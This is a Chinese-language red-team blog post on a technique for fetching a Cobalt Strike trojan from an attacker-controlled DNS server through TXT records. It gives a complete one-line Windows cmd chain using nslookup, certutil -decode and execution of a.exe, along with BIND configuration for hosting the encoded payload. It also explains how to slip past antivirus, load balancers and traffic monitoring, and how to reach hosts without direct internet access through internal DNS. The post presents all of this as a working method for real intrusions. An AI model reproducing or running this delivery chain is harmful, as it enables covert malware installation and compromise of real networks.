遠程下載的通用替代方案
打了這么多的攻防演練了,很多時候我們可以執行命令了,但是沒有回顯、也不交互、添加加用戶遠程桌面沒開、想遠程下載木馬有殺軟攔截、循環寫入遇到負載均衡、或者目標根本不出網
當然了,一部分兄弟應該是有方法可以上線cs的,比如 certutil 方面的繞過等等吧,但是這些都不是長久之計,殺軟隨時都有可能把繞過的路堵死,我們是怎么思考這件事的呢?
- 應對殺軟問題
- 我們使用的方法要么是從來沒有人用過的,要么就是把系統或者管理人員常用的功能組合起來
- 應對負載均衡
- 要把傳遞木馬載荷+處理載荷+執行[+清理操作] 做成一個原子操作,也就是成為一個整體,一條命令就結束
- 不出網
- 利用目標內網DNS或者端口復用
- ...
接下來我們將以實現Windows只能執行命令且有殺軟條件下的木馬載荷傳遞上線cs為例介紹操作背后的“跨時代意義”的思想
0x01 傳遞載荷的方式
大家總結的傳遞載荷的方式一般包括:
- powershell
- certutil
- vbs
- Bitsadmin
- ftp
- tftp
- debug
- msiexec
- mshta
- rundll32
- regsrv32
- ...
很多很多方法,但是基本上都被360這類的殺軟給特殊照顧了,除非使用新的繞過手法,不然根本行不通
在剛上大學那會兒,打CTF時候遇到過一次簽到題考點是 DNS TXT 記錄中保存著 flag,那我們是不是可以也通過 DNS TXT 記錄進行傳遞載荷呢?
關于 DNS TXT 記錄的意義可以參考下面兩篇文章:
- TXT 記錄值 - Google Workspace 管理員幫助
- https://support.google.com/a/answer/2716802?hl=zh-Hans
- DNS中TXT記錄是做什么用的?
- https://heranonazure.wordpress.com/2016/06/10/dns%E4%B8%ADtxt%E8%AE%B0%E5%BD%95%E6%98%AF%E5%81%9A%E4%BB%80%E4%B9%88%E7%94%A8%E7%9A%84%EF%BC%9F/
在幾乎所有的 Windows 系統上都有默認的 nslookup 程序,這個程序就是用來做 DNS 解析的,所以我們可以在幾乎所有的 Windows 系統上使用 nslookup 來做DNS解析從而獲取載荷
這樣我們就有了載荷傳遞的方式

0x02 處理載荷
現在我們已經有能力讓服務器主動獲取一段字符串了,但是這段字符串和其他的結果排列在一起,我們需要對這段字符進行處理,以便我們使用
如果你覺得這段很簡單,我真的想哐哐給你兩腳!!!
其實這是一個頗為復雜的東西,原因就是windows cmd 默認的指令能力實在是有限,我想截取一些字符串需要大量的操作,好在最后我解決了
獲取載荷所在的行——findstr

看似很順利,但是這里有一個問題:我們要傳遞的木馬文件會有大量的字符,會有很多很多行,如下所示:

所以如果想要獲取所有的行,那么就需要在所有的行中設置一個 flag,方便我們 findstr 進行篩選

這樣我們就把所有的載荷所在的行篩選出來了,雖然帶著我們的 flag 字符 exec ,后期我們再想辦法把它去掉
對載荷進行拼接
如果是Linux,可能20分鐘我就搞定了,但是 Windows 中愣是耗費了我兩天時間
在 Windows cmd 中需要使用 for 命令
for {%% | %}<variable> in (<set>) do <command> [<commandlineoptions>]
具體可以查看
for | Microsoft Docs
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/for
經過兩天的掙扎制作出來的命令
cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr "exec"') do (set a=%i && set b=!b!!a:~5,-2!) && set c=!a:~-6,-2! && if "eofs" == "!c:~0,-1!" echo !b:~1,-4!" > ttt.txt
上面這個指令可以實現寫入任意你想寫入的字符到 ttt.txt ,當然這離不開我們自己的DNS服務器端的配置
說實話,如果你真的想在實戰中使用本文介紹的方法,你就好好去看看上面的這段命令,看不明白可以微信聯系我或者公眾號私信我,不然你直接拿過來用肯定會罵我的,不過放心,后期我肯定會出一個腳本,直接生成,讓大家不用再寫
到目前來說,我們已經可以實現將腳本類的文件僅僅通過一個DNS請求寫入到目標系統并且直接執行,所以說你要是擅長 bat,vbs等等腳本類東西你就可以直接上線了
但是我們的目的可不僅僅就是傳遞一個文本,我們要傳遞二進制可執行文件!
編碼轉換——certutil
certutil 這是個好東西
詳細使用方法參考
certutil | Microsoft Docs
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil
- 它可以實現特定格式的base64編碼字符串的轉換,將base64編碼的字符串直接轉換為二進制文件
- 也可以將特定格式的16進制的字符串直接轉換為二進制文件
這在Windows 中多命令里就算是寶藏了,不然用 cmd 命令實現 base64 解密得累死,當然了,這里推薦一個工具網站,可以把部分 c 語言邏輯的代碼轉為 bat 格式或者bash格式,但不要有特別大的期待
Batsh - A language that compiles to Bash and Windows Batch

我們分別將 whoami.exe 轉換為 certutil 能接受的16進制和base64字符格式

base64:


如此格式的base64字符串才可以被成功轉換為二進制可執行程序,你可能還沒有意識到這里有什么問題,第一個問題是字符串包含頭部和尾部字符串;第二個問題是每一行的字符串最大長度是固定的,64個字符
HEX:

好家伙,16進制這個雖然說沒有頭部和尾部字符串,但是可是有一堆不好處理的字符,打印其實倒也無妨,主要是這些字符占用空間太大了,這個原因直接導致我們放棄HEX,使用 base64 ,為什么這么堅決后面大家就知道了
既然我們選擇了 base64 ,那我們就需要修改剛才的命令,以適應base64首尾字符串以及每行最大長度的要求
cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr "exec"') do (set a=%i && echo !a:~5,-2!)"


既然輸出沒有問題了,可以進行轉換了,這里又涉及一個問題:certutil 只能對文件進行轉換,所以我們需要將輸出字符串輸出到文件中,再使用 && 進行連接命令,轉換字符串為二進制可執行文件
cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr "exec"') do (set a=%i && echo !a:~5,-2!)" > ttt.txt && certutil -decode ttt.txt a.exe

0x03 執行二進制程序[+清理操作]
這里清理操作我作為可選擇項來進行考慮,因為通過執行二進制程序你已經獲取到了一個 shell,這樣的話,你可以通過shell來進行清理,所以這里就不進行清理操作了
cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr "exec"') do (set a=%i && echo !a:~5,-2!)" > ttt.txt && certutil -decode ttt.txt a.exe && cmd /c a.exe

OK,成功上線 CS
文章到這里可以結束了,但是以我們團隊的風格來說,一定要把這其中涉及的知識點和大坑點說清楚
0x04 自建DNS服務器
其實這里涉及兩個場景,這也是精彩的地方,但也先不說,我們還是以上面這個案例為主來進行搭建,懂了這個,另一種場景你肯定也會懂的
DNS工作原理以及DNS服務器搭建過程可以參考下面幾篇文章:
- DNS:從零搭建公司內網DNS服務器 - Dy1an - 博客園
- https://www.cnblogs.com/Dy1an/p/11157152.html
- 如何搭建一個DNS服務器
- https://ghh3809.github.io/2021/03/17/create-dns-server/
我以一個搞安全的角度去說一說DNS這塊,上面案例的命令中我們使用 nslookup www.mydomain.com 192.168.31.88
其中 192.168.31.88 這個參數就是讓系統委托 192.168.31.88(攻擊者自己搭建的DNS服務器) 來為 www.mydomain.com 進行解析,如果不加這個參數,那么系統會使用自己配置的DNS服務器進行解析,可能是內網DNS服務器、路由器、 8.8.8.8 或者本地運營商DNS等等,企業環境可能就是企業內網中自建的 DNS 服務器
在這種情況下,我們不需要擁有 www.mydomain.com 這個域名。簡單來想就是目標主機向攻擊者DNS服務器發起一個基于UDP 的 DNS 請求,攻擊者 DNS服務器想返回什么結果就返回什么結果。這和讓目標主機通過瀏覽器訪問攻擊者的web服務器情形是一樣的,攻擊者想返回什么內容就返回什么內容
聽到這里你肯定感到了一絲竊喜對吧,你可以讓目標主機向你的DNS服務器發起對 baidu.com 的 DNS 解析,對于baidu.com 解析可能在很多安全設備看來無比正常,同時人工排查的時候也很難發現
沒錯,這種自定義解析連接 C&C 的方式已經被國外部分僵尸網絡程序使用了,從而繞過了流量設備的檢測,隱藏了真實的IP地址廢話不多說,開始搭建:
Centos 7 Bind DNS服務器程序,以解析 www.mydomain.com 為例
(Ubuntu 或者其他系統也是類似的,我保證你看懂這個,就能看懂其他的)
安裝 BIND
yum -y update yum -y install bind bind-chroot bind-utils
修改 BIND 配置文件,允許其他主機使用 DNS 服務
vim /etc/named.conf
options {
# 監聽來自于所有打到53端口的請求
listen-on port 53 { any; };
# 允許來自任意host的DNS查詢
allow-query { any; };
# 轉發邏輯為:服務器將只會請求 forwarders中的DNS主機,請求失敗時,將直接應答fail
# 如果不將自己的服務器作為轉發服務器,則無需配置forward和forwarders,此時所有的解析將按照之前的迭代查詢方式進行查詢
# 轉發服務器列表:8.8.8.8
forwarders { 8.8.8.8; };
}
這里主要就修改幾項
listen-on port 53設置為anyallow-query設置為any- 新增
forwarders { 8.8.8.8; };
修改后如下圖所示

添加我們要解析的域名
在輔助區域配置文件/etc/named.rfc1912.zones中,添加一條我們自己創建的區域
zone "mydomain.com" IN {
type master;
file "mydomain.com.zone";
allow-update { none; };
};

為解析的域名設置 TXT 等記錄的值
我們直接復制一份 /var/named/ 目錄下的 named.localhost ,使用 cp -a 會直接把對應的權限設置也一并 copy 給新文件 mydomain.com.zone
cp -a /var/named/named.localhost /var/named/mydomain.com.zone

默認內容就是上面這樣的,我們可以在這里添加我們要的各種記錄,這里只涉及 TXT 記錄

我們添加了一條 www 子域名的 A 記錄,我們將其IP地址解析到 1.1.1.1
同時,我們為 www 子域名添加了一條 TXT 目錄,并且設置其值為 "hello world"
啟動 BIND 服務
systemctl start named

成功啟動,可以看到 53 端口監聽在 192.168.31.88 上,大坑出現了,centos 默認會開啟防火墻,所以需要關掉或者開啟相關策略,這里粗暴一些,直接關掉
systemctl stop firewalld
測試服務可用性

可以看到,現在服務可用,我們可以任意修改解析記錄來傳遞載荷了
0x05 一些大坑問題
TXT 記錄長度問題
本來這個實驗我是用自己 GoDaddy 上的域名來做的,因為 GoDaddy 上默認就可以設置 TXT 記錄,那會簡單很多,不需要搭建 DNS 服務器了

這里的問題是經過我的fuzz GoDaddy 一條 TXT 記錄最長為 1024 個字符,我們一個木馬最少需要2w個字符,所以 1024 遠遠不夠。從圖上可以看出來,GoDaddy 也是支持設置多個TXT 記錄的,但是經過我的測試每次請求得到的TXT記錄數量、TXT記錄的順序都是不確定的,當然我們可以通過在字符串中設置 1、2、3這樣的標記,之后后期獲取的時候用命令去匹配和拼接,但是吧,Windows cmd 中的命令弱的程度你懂
那這里就涉及一個問題了,是不是 TXT 記錄最大就 1024個字符呢?這件事就別百度了,如果百度,它會告訴你最大可能只有 256 個字符,所以我就使用了比較流行的 BIND 作為 DNS 服務器自己搭建了一個
當然,你完全可以使用 scapy 等程序自己寫一個只返回 DNS TXT 記錄解析結果包的程序
BIND 服務器超長字符配置方法
這種問題一般人是不會使用到的,所以搜索起來比較麻煩,好在國外有大哥遇到了,并且給出了書寫規范
現在我們設置 TXT 記錄方式如下:

說白了就是直接寫了一個字符串,但是如果字符串長度過長,就會導致服務啟動失敗,我們可以通過下面這種形式將長字符分割為多個字符組合


這種情況下,只要每行不超過最大值,就可以寫很多很多行的字符,實測可以超過 1024 個字符
UDP 包大小限制
上一個大坑解決以后,我以為可以任意字符寫入了,最終在搞定了其他條件后,測試的時候發現,一個 70k 的程序 base64 后的結果填充到 TXT 記錄后,重啟DNS服務怎么也啟動不起來,我這才意識到,可能 BIND 自己也有一定長度字符限制,通過 fuzz 我也找到了 BIND 最大的字符限制,大概 60000多
為啥我沒有記得這么清晰呢?因為當我設置為最大值的時候,我發現 nslookup 竟然報錯了
后來我查閱了一些資料明白過來,DNS請求和回應包都是 UDP包,UDP包最大長度為 65535,還有一些頭會占用部分長度,所以留給 TXT 記錄的長度最長也就是 65515 左右
好在 CobaltStrike 生成的 stege 木馬僅有 14K左右, 遠小于 65515
Centos 默認存在防火墻
這個問題上面已經說到了
systemctl stop firewalld
NAT 模式下虛擬機之間不互通
這一點是我網絡知識沒有學好,導致前期配置好了DNS服務器,但是一直解析失敗,導致自我懷疑
使用 橋接模式 或者直接使用 VPS 就解決了
cmd 字符轉義問題
cmd 命令用在 for 循環的單引號中時,為保證執行正常,需要使用轉義符,不同的符號轉義符也不一定一樣,具體可以參照:
DOS特殊字符轉義方法_kucece的專欄-CSDN博客_dos轉義字符
我沒有找到原作者是誰,只能po上來這篇轉載的文章,csdn 讓人惡心的地方就是標記了轉載,但是可以不設置轉自哪里
cmd 命令中變量值不變的問題
這個問題看起來很奇怪,但是很重要,cmd命令中,如果你不開啟延時變量,變量的值在循環過程中是不會變化的,在批處理中可以使用 setlocal EnableDelayedExpansion 進行開啟延時變量,在 cmd 命令中需要使用 cmd /v:on 來進行開啟,之后所有的變量不再使用 %a% 這種形式,而是使用 !a! 這種形式
cmd 命令中關閉命令本身 echo
cmd /Q
這個大家自行體會一下就可以了
cmd 命令中 for 命令邊界問題
很難想象,在 cmd 中 for 命令是沒有邊界的,至少是我沒有發現
什么叫沒有邊界呢?
for /f for /f "tokens=*" %%i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr "exec"') do (xxxxx)
這里 do 后面的括號中xxxxx 就是要執行的命令
但是如果我想在整個for 循環命令結束后打印某個變量
for /f for /f "tokens=*" %i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr "exec"') do (xxxxx) && echo %a
這個時候的結果是每一次循環都會打印一次 %a ,也就是說 echo %a 成了for 循環 do 后面的一部分
這個問題沒有辦法解決,只能通過嵌套 if 判斷來控制什么時候打印
這個時候我們再來看上面例子中傳遞任意字符的那條指令
cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr "exec"') do (set a=%i && set b=!b!!a:~5,-2!) && set c=!a:~-6,-2! && if "eofs" == "!c:~0,-1!" echo !b:~1,-4!" > ttt.txt
這里有一個判斷是 if "eofs" == "!c:~0,-1!" "!c:~0,-1!" 就是可以看成一個變量,這里的意思也就是如果這個變量等于 eofs,那么就 echo !b:~1,-4! ,也就是打印一個變量的值
這里的 eofs 是我自定義的,為了能夠控制在全部字符傳遞結束后打印并重定向到文件中,我只能在 TXT 中的最后一行設置為 execeofs ,其中 exec 為 篩選用的 flag ,eofs 作為結束標志,并在最終的打印字符中將這四個字符去掉,這樣才能取得完整的字符
0x06 再走一遍CS木馬上線
這回把所有的知識點都解釋了,我們來重新實施一遍,一次性讓大家都能夠實操
DNS服務器搭建這種就不說了,只說配置問題
生成木馬文件







certutil 生成特定格式base64字符串
certutil -encode artifact.exe a.txt

將字符串處理成 BIND 配置文件
BIND 配置文件的字符格式為
("aaa"
"bbb"
"ccc)
所以需要把上面的字符串簡單處理一下,這個簡單寫個 python 腳本就能解決,這里就不寫了

將這段字符復制到 TXT 記錄的配置處

重啟 DNS 服務
systemctl restart named

目標主機一條命令加載并執行程序上線CS
cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr "exec"') do (set a=%i && echo !a:~5,-2!)" > ttt.txt && certutil -decode ttt.txt a.exe && cmd /c a.exe


成功上線CS
0x07 為什么說這種思想有“跨時代”意義
吹牛成分較大,但是確確實實解決了一些問題,還可以引出很多的擴展的思考
1. 寫文件不怕負載均衡設備了
這個沒啥說的,我們把一切變成了原子操作
2. 一定程度上躲避殺軟和流量檢測
我們可以讓目標向我們自己的DNS服務器去解析百度的域名,一定程度上會逃過流量檢測
3. 將不出網的主機變成了出網主機
這點很重要,很多目標單位重要系統雖然不出網,但是這些服務器配置了自己的內網DNS服務器,也就是說他們可以主動通過單位內部的DNS服務器連接外部,如果結合今天討論的方法,我們可以讓這個不出網的主機直接執行一個 DNS隧道的木馬 或者 讓木馬做直接做端口復用,這樣可以完成反向隧道或者正向連接,形成控制不出網主機的目的
下面我們針對目標系統可以執行命令,但是不出網,目標系統配置了它們單位自己的DNS,可以解析DNS這種情況做一下思路整理:
因為本身不出網,假設 112.112.112.112 是攻擊者的DNS服務器 如果我們執行 nslookup -qt=TXT baidu.com 112.112.112.112 這種方式就執行不了了,因為服務器不出網,只能向自己內網配置好的那臺DNS服務器發起請求。這個時候我們只能通過買一個域名,之后將域名解析的工作交給 112.112.112.112 來進行攻擊
這個請求就變成了:
目標主機 -> 內網DNS -> 根服務器等 -> 112.112.112.112
這樣同樣可以獲取最大 65515 個字符的載荷
之后木馬同樣通過這種路徑與 C&C 進行連接
4. 這種思想幾乎適用于所有的系統
這個沒啥說的,就是字符處理命令上的不同,Windows、Linux、Mac、AIX等
5. 這里只是利用了DNS協議和nslookup,其他呢?
這里留白,留給更多愿意思考的安全人